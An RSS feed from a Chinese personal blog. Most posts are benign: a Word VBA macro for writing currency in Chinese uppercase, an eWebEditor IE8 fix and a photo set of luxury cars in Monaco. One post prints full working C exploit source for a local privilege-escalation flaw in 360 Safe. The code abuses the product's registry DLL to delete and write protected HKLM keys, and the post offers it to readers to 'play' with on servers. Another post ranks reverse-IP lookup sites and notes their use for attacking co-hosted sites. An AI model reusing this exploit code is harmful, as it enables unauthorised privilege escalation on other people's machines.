<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
<channel>
<title><![CDATA[无言's Blog - -Estreat-]]></title>
<link>http://www.ph-ok.com/</link>
<description><![CDATA[默默在困顿与迷茫中执着地探索...]]></description>
<language>zh-cn</language>
<copyright><![CDATA[Copyright 2005 PBlog3 v2.8]]></copyright>
<webMaster><![CDATA[109091@qq.com(无言~)]]></webMaster>
<generator>PBlog2 v2.4</generator> 
<image>
	<title>无言&#39;s Blog</title>
	<url>http://www.ph-ok.com/images/logos.gif</url>
	<link>http://www.ph-ok.com/</link>
	<description>无言&#39;s Blog</description>
</image>

			<item>
			<link>http://www.ph-ok.com/article.asp?id=70</link>
			<title><![CDATA[Word 中数字小写“变”大写]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Estreat-]]></category>
			<pubDate>Thu,12 Aug 2010 18:03:18 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=70</guid>
		<description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 慢慢也开始从技术要转成商务了，是啊~干技术是干不了一辈子的~（也算升级了..），所以经常会遇到写写合同、报报价之类的事。而合同中金额部分常有数字小写转大写的情况。<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 大家用Word 时应该都是数字写好后，然后通过/插入/编号（office 2007是编号，03应该是数字）转换成大写的方式吧，是挺方便的，但有个问题是不给转换小数点后的数字，当然你可以通过&ldquo;自动更正&rdquo;替换内容再行转换就可以，但这种方法会定义很多的自动更正项，显然是比较麻烦。GG一下，有个很简单的办法，通过定义一个宏便可以完成&ldquo;一劳永逸&rdquo;...<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 启动Word后按下A lt+F11组合键，在打开的工程窗口左侧双击&ldquo;ThisDocument&rdquo;进入代码编写窗口，在代码编辑窗口中输入如下代码：</p>
<table border="1" cellspacing="1" cellpadding="1" width="600">
    <tbody>
        <tr>
            <td>
            <p>Option Explicit<br />
            Sub 小写金额变大写()<br />
            &nbsp; Dim Numeric As Currency, IntPart As Long, DecimalPart As Byte, MyField As Field, Lable As String<br />
            &nbsp; Dim Jiao As Byte, Fen As Byte, Oddment As String, Odd As String, MyChinese As String<br />
            &nbsp; Const ZWDX As String = &quot;壹贰叁肆伍陆柒捌玖零&quot;&nbsp;&nbsp; '定义一个中文大写汉字常量<br />
            &nbsp; On Error Resume Next&nbsp;&nbsp; '错误忽略<br />
            &nbsp; With Selection<br />
            &nbsp;&nbsp;&nbsp; Numeric = VBA.Round(VBA.Val(.Text), 2)&nbsp;&nbsp; '四舍五入保留小数点后两位,自定义~<br />
            &nbsp;&nbsp;&nbsp; '判断是否在表格中<br />
            &nbsp;&nbsp;&nbsp; If .Information(wdWithInTable) Then _<br />
            .MoveRight unit:=wdCell Else .MoveRight unit:=wdCharacter<br />
            &nbsp;&nbsp;&nbsp; '对数据进行判断,是否在指定的范围内<br />
            &nbsp;&nbsp;&nbsp; If VBA.Abs(Numeric) &gt; 2147483647 Then MsgBox &quot;数值超过范围!&quot;, _<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; vbOKOnly + vbExclamation, &quot;Warning&quot;: Exit Sub<br />
            &nbsp;&nbsp;&nbsp; IntPart = Int(VBA.Abs(Numeric))&nbsp;&nbsp; '定义一个正整数<br />
            &nbsp;&nbsp;&nbsp; Odd = VBA.IIf(IntPart = 0, &quot;&quot;, &quot;圆&quot;)&nbsp;&nbsp; '定义一个STRING变量<br />
            &nbsp;&nbsp;&nbsp; '插入中文大写前的标签<br />
            &nbsp;&nbsp;&nbsp; Lable = VBA.IIf(Numeric = VBA.Abs(Numeric), &quot;人民币金额大写:　&quot;, &quot;人民币金额大写:　负&quot;)<br />
            &nbsp;&nbsp;&nbsp; '对小数点后面二位数进行择定<br />
            &nbsp;&nbsp;&nbsp; DecimalPart = (VBA.Abs(Numeric) - IntPart) * 100<br />
            &nbsp;&nbsp;&nbsp; Select Case DecimalPart<br />
            &nbsp;&nbsp;&nbsp; Case Is = 0&nbsp;&nbsp; '如果是0,即是选定的数据为整数<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oddment = VBA.IIf(Odd = &quot;&quot;, &quot;&quot;, Odd &amp; &quot;整&quot;)<br />
            &nbsp;&nbsp;&nbsp; Case Is &lt; 10&nbsp;&nbsp; '&lt;10,即是零头是分<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oddment = VBA.IIf(Odd &lt;&gt; &quot;&quot;, &quot;圆零&quot; &amp; VBA.Mid(ZWDX, DecimalPart, 1) &amp; &quot;分&quot;, _<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; VBA.Mid(ZWDX, DecimalPart, 1) &amp; &quot;分&quot;)<br />
            &nbsp;&nbsp;&nbsp; Case 10, 20, 30, 40, 50, 60, 70, 80, 90&nbsp;&nbsp; '如果是角整<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oddment = &quot;圆&quot; &amp; VBA.Mid(ZWDX, DecimalPart / 10, 1) &amp; &quot;角整&quot;<br />
            &nbsp;&nbsp;&nbsp; Case Else&nbsp;&nbsp; '既有角,又有分的情况<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Jiao = VBA.Left(CStr(DecimalPart), 1)&nbsp;&nbsp; '取得角面值<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fen = VBA.Right(CStr(DecimalPart), 1)&nbsp;&nbsp; '取得分面值<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oddment = Odd &amp; VBA.Mid(ZWDX, Jiao, 1) &amp; &quot;角&quot;&nbsp;&nbsp; '转换为角的中文大写<br />
            &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Oddment = Oddment &amp; VBA.Mid(ZWDX, Fen, 1) &amp; &quot;分&quot;&nbsp;&nbsp; '转换为分的中文大写<br />
            &nbsp;&nbsp;&nbsp; End Select<br />
            &nbsp;&nbsp;&nbsp; '指定区域插入中文大写格式的域<br />
            &nbsp;&nbsp;&nbsp; Set MyField = .Fields.Add(Range:=.Range, Text:=&quot;= &quot; &amp; IntPart &amp; &quot; \*CHINESENUM2&quot;)<br />
            &nbsp;&nbsp;&nbsp; MyField.Select&nbsp;&nbsp; '选定域(最后是用指定文本覆盖选定区域)<br />
            &nbsp;&nbsp;&nbsp; '如果仅有角分情况下,Mychinese为&quot;&quot;<br />
            &nbsp;&nbsp;&nbsp; MyChinese = VBA.IIf(MyField.Result &lt;&gt; &quot;零&quot;, MyField.Result, &quot;&quot;)<br />
            &nbsp;&nbsp;&nbsp; .Text = Lable &amp; MyChinese &amp; Oddment<br />
            &nbsp; End With<br />
            End Sub</p>
            </td>
        </tr>
    </tbody>
</table>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 输入完毕后按下Alt+Q键返回word中，以后只需要框选需要转换的小写金额（不要含有格式标记符）后，按下Alt+F8打开宏对话框，选择&ldquo;小写金额变大写&rdquo;宏，并单击&ldquo;运行&rdquo;即可快速地得出大写金额。运行该宏可以在选定的文本数据后面插入此金额大写，如果选定范围在表格中，则在右侧单元格中插入金额大写，各位试试吧~~~</p>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=49</link>
			<title><![CDATA[360&#34;本地提权&#34;漏洞后门利用代码....]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Estreat-]]></category>
			<pubDate>Tue,02 Feb 2010 10:34:29 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=49</guid>
		<description><![CDATA[圈子里天天都是血雨腥风....360和瑞星整天狗咬狗，这不，哪个点不清的，在瑞星官方上发了一个360的本地提权漏洞..！结果，可想而之，好多人提权了（说真的，360这么垃圾的玩意还真有SB网管装在服务器上啊？）尽管瑞星很快将公布的代码删掉了，但这代码已然是流了出来....对目前所有版本的360都有效... 有兴趣的拿去玩玩吧....<br/><br/><span style="color:Black">#include &lt;windows.h&gt;<br/>typedef BOOL (WINAPI *INIT_REG_ENGINE)();<br/>typedef LONG (WINAPI *BREG_Del&#101;te_KEY)(HKEY hKey, LPCSTR lpSubKey);<br/>typedef LONG (WINAPI *BREG_OPEN_KEY)(HKEY hKey, LPCSTR lpSubKey, PHKEY phkResult);<br/>typedef LONG (WINAPI *BREG_CLOSE_KEY)(HKEY hKey);<br/>typedef LONG (WINAPI *REG_SET_VALUE_EX)(HKEY hKey, LPCSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE* lpData, DWORD cbData);<br/>BREG_Del&#101;te_KEY BRegDel&#101;teKey = NULL;<br/>BREG_OPEN_KEY BRegOpenKey = NULL;<br/>BREG_CLOSE_KEY BRegCloseKey = NULL;<br/>REG_SET_VALUE_EX BRegSetValueEx = NULL;<br/>#define AppPath&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#34;Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\360safe.exe&#34;<br/>#define TestDel&#101;teKey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY_LOCAL_MACHINE<br/>#define TestDel&#101;teRegPath&nbsp;&nbsp;&nbsp;&nbsp;&#34;Software\\360Safe\\Up&#100;ate&#34;<br/>#define TestSetKey&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY_LOCAL_MACHINE<br/>#define TestSetPath&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&#34;Software\\360Safe&#34;<br/>BOOL InitBRegDll()<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LONG lResult;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY hKey;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CHAR cPath[MAX_PATH + 32] = { 0 };<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwPathLen = MAX_PATH;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = RegOpenKeyA(HKEY_LOCAL_MACHINE, AppPath, &amp;hKey);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(lResult))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwType = REG_SZ;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = RegQueryValueExA(hKey, &#34;Path&#34;, NULL, &amp;dwType, (LPBYTE)cPath, &amp;dwPathLen);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; RegCloseKey(hKey);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(lResult))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; strcat(cPath, &#34;\\deepscan\\BREGDLL.dll&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HMODULE modBReg = LoadLibraryA(cPath);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!modBReg)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; INIT_REG_ENGINE InitRegEngine = (INIT_REG_ENGINE)GetProcAddress(modBReg, &#34;InitRegEngine&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegDel&#101;teKey = (BREG_Del&#101;te_KEY)GetProcAddress(modBReg, &#34;BRegDel&#101;teKey&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegOpenKey = (BREG_OPEN_KEY)GetProcAddress(modBReg, &#34;BRegOpenKey&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegCloseKey = (BREG_CLOSE_KEY)GetProcAddress(modBReg, &#34;BRegCloseKey&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegSetValueEx = (REG_SET_VALUE_EX)GetProcAddress(modBReg, &#34;BRegSetValueEx&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!InitRegEngine || !BRegDel&#101;teKey || !BRegOpenKey || !BRegCloseKey || !BRegSetValueEx) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeLibrary(modBReg);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!InitRegEngine()) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FreeLibrary(modBReg);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return FALSE;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return TRUE;<br/>}<br/>LONG TestSetRegKey()<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; HKEY hKey;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; LONG lResult;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = BRegOpenKey(TestSetKey, TestSetPath, &amp;hKey);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(lResult))<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return lResult;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; DWORD dwType = REG_SZ;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; static char szData[] = &#34;TEST VALUE&#34;;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; lResult = BRegSetValueEx(hKey, TestSetPath, NULL, dwType, (const BYTE *)&amp;szData, (DWORD)sizeof(szData));<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; BRegCloseKey(hKey);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return lResult;<br/>}<br/>int main(int argc, char *argv[])<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (!InitBRegDll()) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBoxA(NULL, &#34;初始化BReg失败!&#34;, &#34;失败&#34;, MB_ICONSTOP);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(BRegDel&#101;teKey(TestDel&#101;teKey, TestDel&#101;teRegPath))) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBoxA(NULL, &#34;键值删除失败!&#34;, &#34;失败&#34;, MB_ICONSTOP);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 2;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (FAILED(TestSetRegKey())) {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBoxA(NULL, &#34;设置键值失败!&#34;, &#34;失败&#34;, MB_ICONSTOP);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return 3;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageBoxA(NULL, &#34;突破系统安全检查，获得最高权限，漏洞利用成功!&#34;, &#34;成功&#34;, MB_OK);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return 0;<br/>}</span>]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=44</link>
			<title><![CDATA[介绍几个同ip地址反查域名的网站]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Estreat-]]></category>
			<pubDate>Wed,02 Sep 2009 05:56:17 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=44</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;排名第一的当然是<a href="http://www.myipneighbors.com/" target="_blank" rel="external">http://www.myipneighbors.com/</a>不过近期升级遇到了麻烦停止服务2个多月了,但是它的站长并没有放弃,正在努力寻求解决中.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;排名第二的ip地址反查域名网站我给了国内的<a href="http://ip.wen.la/" target="_blank" rel="external">http://ip.wen.la/</a>不为别的就因为它的信息全,同一IP在国内的反查域名网站中它查出来的域名最多.不过网站速度有待改进.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;排名第三的我给了<a href="http://www.ip-domain.com.cn/" target="_blank" rel="external">http://www.ip-domain.com.cn/</a>这个网站全体仿制了排名第一的<a href="http://www.myipneighbors.com/" target="_blank" rel="external">http://www.myipneighbors.com/</a>不过在排名第一的网站暂时无法提供服务的情况这个山寨版的IP反查域名网站无疑是我们最佳选择.(也是国人办的网站山寨无处不在)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;排名第四的<a href="http://domainbyip.com/" target="_blank" rel="external">http://domainbyip.com/</a>是国外IP反查域名的佼佼者,速度也不错,如果我不是中国人的话我会把它排在第二位.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;排名第五的<a href="http://whosonmyserver.com/" target="_blank" rel="external">http://whosonmyserver.com/</a>不得不承认这个网站查出来的同服务器域名是最多的但是速度也是最慢的一个如果抛弃速度而言的话这是个不可多得反查域名网站,期待着尽快解决速度问题.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;排名第六的<a href="http://www.robtex.com/" target="_blank" rel="external">http://www.robtex.com/</a>是一个提供服务很全的反查网站可以反查dns a记录 mx记录等这里不做详细介绍了因为查出来的内容对于绝大部分的人没有什么用处.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;排名第七的<a href="http://www.114best.com/ip/" target="_blank" rel="external">http://www.114best.com/ip/</a>国人比较熟悉但是同一IP查出的站点比较少,数据量还有待加强,不过我相信通过努力会解决的毕竟你的身后有13亿人支持你.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;排名第八的<a href="http://iy8.net/" target="_blank" rel="external">http://iy8.net/</a>也是国人做的,数据量比较强大不过和排名第三的<a href="http://www.ip-domain.com.cn/" target="_blank" rel="external">http://www.ip-domain.com.cn/</a>有点类似.可能来自同一数据库吧.<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;好了以上就是我精心收集和比较的同iP反查域名网站排名结果,希望对你买虚拟主机的时候有用,当然也可以用于旁注哦 :P]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=56</link>
			<title><![CDATA[eWebEditor IE8下按钮失效的解决办法]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Estreat-]]></category>
			<pubDate>Wed,26 Aug 2009 11:25:54 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=56</guid>
		<description><![CDATA[在eWebEditor的目录里找到Editor.js文件，路径是webedit\Include\Editor.js 用记事本打开，在其中找到如下代码： <br/>if (element.YUSERONCLICK) { <br/>eval(element.YUSERONCLICK + &#34;anonymous()&#34;); <br/>} <br/><br/>或<br/>if (element.YUSERONCLICK) eval(element.YUSERONCLICK + &#34;anonymous()&#34;); <br/>版本不同可能写法有点区别... <br/><br/>将上面的代码替换为<br/>if(navigator.appVersion.match(/8./i)==&#39;8.&#39;) <br/>{ <br/>if (element.YUSERONCLICK) eval(element.YUSERONCLICK + &#34;onclick(event)&#34;); <br/>} <br/>else <br/>{ <br/>if (element.YUSERONCLICK) eval(element.YUSERONCLICK + &#34;anonymous()&#34;); <br/>} <br/><br/><br/>现在试试 eWebEditor 编辑器按钮应该可以正常使用了... ]]></description>
		</item>
		
			<item>
			<link>http://www.ph-ok.com/article.asp?id=41</link>
			<title><![CDATA[在摩纳哥，开奔驰宝马你都不好意思和人家打招呼~~]]></title>
			<author>109091@qq.com(无言)</author>
			<category><![CDATA[-Estreat-]]></category>
			<pubDate>Sun,15 Mar 2009 14:52:28 +0800</pubDate>
			<guid>http://www.ph-ok.com/default.asp?id=41</guid>
		<description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;法国濒临地中海的南部城市尼斯，离摩纳国王国开车一小时的路程，图片是在去摩纳国途中拍摄的，地中海海水分为三种颜色，岸边为白色浪花，稍远处为浅蓝色，更远处是湛蓝色，海水极其清澈，没有一点杂质，看来环保工作做的很不错，海水中游弋的可全是游艇！资产阶级的生活方式真是腐朽啊。 <br/><img src="http://www.ph-ok.com/attachments/month_0904/o2009422143219.JPG" border="0" alt=""/><br/><br/>在摩纳哥皇宫见到保时捷卡雷拉 <br/><img src="http://www.ph-ok.com/attachments/month_0904/22009422143310.JPG" border="0" alt=""/><br/><br/>摩纳哥大概有两个地方，除了皇宫就是蒙特卡罗，蒙特卡罗似乎就是赌场的代名词，一走进蒙特卡罗，就看见一辆敞蓬捷豹！ <br/><img src="http://www.ph-ok.com/attachments/month_0904/92009422143348.JPG" border="0" alt=""/><br/> <br/>接着看到红色的法拉利 <br/><img src="http://www.ph-ok.com/attachments/month_0904/e2009422143425.JPG" border="0" alt=""/><br/><br/>刚走进广场，一辆奔驰旗舰迈巴赫开进，由于马上又开走，因此只照的此照片一张，请注意迈巴赫左侧露出一小脸的是两辆敞蓬劳斯莱斯 <br/><img src="http://www.ph-ok.com/attachments/month_0904/x2009422143458.JPG" border="0" alt=""/><br/> <br/>刚才被奔驰旗舰迈巴赫档住视线的两辆敞蓬劳斯莱斯，停车时车头的车标自动缩回 <br/><img src="http://www.ph-ok.com/attachments/month_0904/12009422143615.JPG" border="0" alt=""/><br/><br/><img src="http://www.ph-ok.com/attachments/month_0904/u2009422143638.JPG" border="0" alt=""/><br/><br/>两辆劳斯莱斯的侧面！ <br/><img src="http://www.ph-ok.com/attachments/month_0904/n2009422143719.JPG" border="0" alt=""/><br/><br/>停在劳斯莱斯旁边的是一辆宾利大陆GT <br/><img src="http://www.ph-ok.com/attachments/month_0904/n200942214388.JPG" border="0" alt=""/><br/><br/>赌场门口并排停放着两辆敞蓬红色法拉利！ <br/><img src="http://www.ph-ok.com/attachments/month_0904/l2009422143847.JPG" border="0" alt=""/><br/> <br/>一辆法拉利中的发动机位置，不知算中置还是后置？<br/><img src="http://www.ph-ok.com/attachments/month_0904/g2009422143931.JPG" border="0" alt=""/><br/> <br/>啥也不说了，眼泪哗哗地……另一侧也停放了两辆法拉利，其中一辆是敞蓬！ <br/><img src="http://www.ph-ok.com/attachments/month_0904/a2009422144011.JPG" border="0" alt=""/><br/> <br/>拍的正过瘾时，一辆银灰色林宝坚尼开过来，开车的主就是图中央的这位女士，她将车钥匙交给图中穿制服的侍者，再由侍者将车开进停车场。 包包可是LV的… <br/><img src="http://www.ph-ok.com/attachments/month_0904/t2009422144055.JPG" border="0" alt=""/><br/> <br/>与上面的车停在一起的是这几辆奔驰车，不知开这些车的车主是否好意思与熟人打招呼... 晕迷中..... <br/><img src="http://www.ph-ok.com/attachments/month_0904/z2009422144152.JPG" border="0" alt=""/><br/><br/>又来一辆车 <br/><img src="http://www.ph-ok.com/attachments/month_0904/n2009422144228.JPG" border="0" alt=""/><br/><br/>大街上的阿斯顿•马丁 <br/><img src="http://www.ph-ok.com/attachments/month_0904/j2009422144316.JPG" border="0" alt=""/><br/><br/>魅力十足的法拉力跑车屁股! <br/><img src="http://www.ph-ok.com/attachments/month_0904/b200942214440.JPG" border="0" alt=""/><br/><br/>黑色法拉利 <br/><img src="http://www.ph-ok.com/attachments/month_0904/e2009422144441.JPG" border="0" alt=""/><br/> <br/>这辆车猛一看不起眼 <br/><img src="http://www.ph-ok.com/attachments/month_0904/p2009422144533.JPG" border="0" alt=""/><br/> <br/>走近一看，又是一辆宾利 <br/><img src="http://www.ph-ok.com/attachments/month_0904/z2009422144540.JPG" border="0" alt=""/> <br/> <br/>咦，侍者准备把那位LV女士的兰博基尼停到哪里去???!!!... <br/><img src="http://www.ph-ok.com/attachments/month_0904/j2009422144639.JPG" border="0" alt=""/><br/> <br/>Oh，my god，我崩溃了，原来是停在这里 <br/><img src="http://www.ph-ok.com/attachments/month_0904/52009422144712.JPG" border="0" alt=""/><br/> <br/>玛莎拉蒂V8, 所有 跑车都快齐了... <br/><img src="http://www.ph-ok.com/attachments/month_0904/52009422144742.JPG" border="0" alt=""/><br/><br/><img src="http://www.ph-ok.com/attachments/month_0904/t2009422144825.JPG" border="0" alt=""/><br/> 